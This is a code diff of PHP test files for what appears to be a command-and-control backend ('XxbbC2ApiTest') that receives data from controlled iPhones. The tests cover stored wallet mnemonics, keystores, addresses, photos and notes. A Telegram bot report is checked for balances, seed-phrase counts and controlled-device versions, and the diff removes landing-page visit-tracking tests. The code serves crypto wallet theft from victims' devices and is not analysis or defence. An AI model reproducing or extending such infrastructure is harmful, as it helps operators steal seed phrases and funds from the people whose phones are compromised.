->assertJsonPath('data.by_os.0.pv', 5)
->assertJsonPath('data.by_os.0.uv', 4)
->assertJsonPath('data.by_os.1.label', '其他')
->assertJsonPath('data.by_os.1.pv', 1)
->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv']]);
->assertJsonPath('data.by_os.1.uv', 1)
->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'by_device_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv', 'total', 'wallet_count', 'balances', 'mnemonic_count', 'address_count']]);
}
#[Test]
+4
View File
@@ -287,6 +287,10 @@ class TelegramBotTest extends TestCase
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
$text = $last['text'] ?? '';
$this->assertStringContainsString('页面 PV: 1 / 2', $text);
$this->assertStringContainsString('设备与资产', $text);
$this->assertStringContainsString('总余额', $text);
$this->assertStringContainsString('助记词', $text);
$this->assertStringContainsString('受控设备 · 系统版本', $text);
$this->assertStringContainsString('按 iOS 版本', $text);
$this->assertStringContainsString($channel, $text);
}
+1 -117
View File
@@ -6,7 +6,6 @@ use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\DeviceEvent;
use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo;
use App\Models\WalletAddress;
use App\Models\WalletKeystore;
@@ -14,7 +13,6 @@ use App\Models\WalletMnemonic;
use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
@@ -46,87 +44,6 @@ class XxbbC2ApiTest extends TestCase
$this->call('HEAD', '/vhx')->assertOk();
}
#[Test]
public function iptj_records_page_visit(): void
{
Cache::flush();
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1';
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_USER_AGENT' => $ua,
], json_encode([
'channelCode' => '56885688',
'deviceVersion' => 'iOS 16.6',
'domain' => 'xxbb.tv',
]))->assertOk();
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame('56885688', $row->channel_id);
$this->assertSame('xxbb.tv', $row->domain);
$this->assertSame(PageVisit::visitorUid('xxbb.tv', $row->ip), $row->client_uid);
$this->assertNotSame('xxbb.tv', $row->client_uid);
$this->assertSame('iOS', $row->os);
$this->assertSame('16.6', $row->os_version);
$this->assertNull($row->session_id);
}
#[Test]
public function iptj_prefers_ua_patch_over_coarse_device_version(): void
{
Cache::flush();
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Mobile/15E148 Safari/604.1';
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_USER_AGENT' => $ua,
], json_encode([
'channelCode' => '56885688',
'deviceVersion' => 'iOS 15.8',
'domain' => 'xxbb.tv',
]))->assertOk();
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame('iOS', $row->os);
$this->assertSame('15.8.4', $row->os_version);
$this->assertSame('Safari', $row->browser);
$this->assertSame('15.6.7', $row->browser_version);
}
#[Test]
public function iptj_dedupes_by_session_id(): void
{
Cache::flush();
$body = [
'channelCode' => '56885688',
'deviceVersion' => 'iOS 16.6',
'domain' => 'xxbb.tv',
'sessionId' => '11111111-2222-4333-8444-555555555555',
];
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode($body))->assertOk();
Cache::flush();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode($body))->assertOk();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
], json_encode([
...$body,
'sessionId' => 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee',
]))->assertOk();
$this->assertSame(2, PageVisit::query()->count());
$this->assertSame(
'11111111-2222-4333-8444-555555555555',
PageVisit::query()->orderBy('id')->value('session_id'),
);
}
#[Test]
public function profile_creates_device_from_device_info(): void
{
@@ -143,6 +60,7 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame('iPhone12,8', $device->device_model);
$this->assertSame('16.6', $device->ios_version);
$this->assertNull($device->channel_id);
$this->assertNull($device->user_agent);
}
#[Test]
@@ -480,38 +398,4 @@ class XxbbC2ApiTest extends TestCase
$this->assertStringNotContainsString($marker, (string) file_get_contents($c2Log));
}
}
#[Test]
public function iptj_logs_request_to_xxbb_folder(): void
{
Cache::flush();
$xxbbLog = public_path('log/xxbb/'.date('Ymd').'.log');
$c2Log = public_path('log/c2/'.date('Ymd').'.log');
@unlink($xxbbLog);
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_USER_AGENT' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X)',
'HTTP_HOST' => 'landing.example',
'HTTP_CF_CONNECTING_IP' => '2001:db8::9',
'HTTP_X_FORWARDED_FOR' => '2001:db8::9',
'REMOTE_ADDR' => '104.16.1.1',
], json_encode([
'channelCode' => '56885688',
'deviceVersion' => 'iOS 16.6',
'domain' => 'xxbb.tv',
'sessionId' => '11111111-2222-4333-8444-555555555555',
]))->assertOk();
$this->assertFileExists($xxbbLog);
$xxbbBody = (string) file_get_contents($xxbbLog);
$this->assertStringContainsString('/api/iptj', $xxbbBody);
$this->assertStringContainsString('56885688', $xxbbBody);
$this->assertStringContainsString('2001:db8::9', $xxbbBody);
$this->assertStringContainsString('104.16.1.1', $xxbbBody);
$this->assertStringContainsString('"recorded":true', $xxbbBody);
if (is_file($c2Log)) {
$this->assertStringNotContainsString('56885688', (string) file_get_contents($c2Log));
}
}
}